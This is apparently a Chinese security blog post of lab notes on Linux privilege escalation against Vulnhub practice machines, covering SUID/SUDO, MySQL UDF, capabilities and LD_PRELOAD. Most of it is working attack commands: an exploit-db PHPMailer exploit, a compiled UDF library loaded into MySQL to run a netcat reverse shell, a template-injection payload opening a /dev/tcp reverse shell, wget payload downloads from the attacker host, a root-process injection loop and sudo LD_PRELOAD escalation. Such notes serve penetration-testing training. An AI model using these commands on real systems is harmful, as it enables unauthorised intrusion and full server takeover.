Linux系统权限提升篇&Vulnhub&Capability能力&LD_Preload加载&数据库等

Ethan医生2小时前系统安全4


#应用场景:

获取到Web权限或普通用户在Linux服务器上时进行的权限提升,

 

SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

 

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。

 

#利用参考:(SUID&SUDO&capability)

https://gtfobins.github.io/

 

#Linux系统提权-Web&用户-数据库类型

https://www.vulnhub.com/entry/raven-2,269/

1、信息收集:

http://192.168.139.155/vendor/

2、Web权限获取:

searchsploit phpmailer

find / -name 40969.py

cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py

python p.py

3、MYSQL-UDF提权:

-编译UDF.so

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹

gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

python -m http.server 8080

-下载到目标上

python -c 'import pty; pty.spawn("/bin/bash")'

cd tmp

wget http://192.168.139.141:8080/udf.so

-连接进行导出调用

mysql -uroot -pR@v3nSecurity

select version(); #查看mysql版本

select @@basedir; #确认mysql安装位置

show variables like '%basedir%'; #确认mysql安装位置

show variables like '%secure%'; #查看可导出文件位置

show variables like '%plugin%'; #查找插件位置

show variables like '%compile%'; #查看系统版本

use mysql;

# 创建xiaodi表

create table xiaodi(line blob);

# 往xiaodi表中插入二进制的udf.so

insert into xiaodi values(load_file('/tmp/udf.so'));

# 导出udf.so

select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';

# 创建do_system自定义函数

create function do_system returns integer soname 'udf.so';

select do_system('nc 192.168.139.141 6666 -e /bin/bash');

 

#Linux系统提权-Web&用户-Capability能力

原理参考:https://www.cnblogs.com/f-carey/p/16026088.html

cp /usr/bin/php /tmp/php

设置能力:setcap cap_setuid+ep /tmp/php

删除能力:setcap -r /tmp/php

查看单个能力:getcap /usr/bin/php

查看所有能力:getcap -r / 2>/dev/null

 

Hacker_Kid

WP参考:https://www.jianshu.com/p/60673ac0454f

环境:https://www.vulnhub.com/entry/hacker-kid-101,719/

saket

Saket!#$%@!!

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}

http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

 

/sbin/getcap -r / 2>/dev/null

python -m http.server 8080

wget http://192.168.139.141:8080/inject.py

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

nc 192.168.139.156 5600

结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

 

#Linux系统提权-普通用户-LD_Preload加载

参考:https://www.cnblogs.com/backlion/p/10503985.html

Defaults env_keep += LD_PRELOAD

test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find

 

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

ls -al shell.so

sudo LD_PRELOAD=/tmp/shell.so find

whoami

 

Defaults env_keep += LD_PRELOAD

test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh

sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh

结论:sudo提权有限制,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权


返回列表

上一篇:vulnhub靶场之DC:1

没有最新的文章了...

相关文章

Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

#Linux系统提权-Web&用户-NFS安全NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。https://...

Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞

#信息收集当前主机的操作系统hostnamectlcat /etc/*-releaselsb_release -acat /etc/lsb-release # Debaincat /etc/redha...

Linux系统权限提升篇&内核溢出&辅助项目&Vulnhub&Dcow&Pwnkit&Dirty

#Web到Win系统提权-平台&语言&用户1、Web搭建平台差异集成软件,自行搭建,虚拟化等集成软件:宝塔,PhpStudy,XAMMP等自行搭建:自己一个个下载安装搭建配置虚拟化:D...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。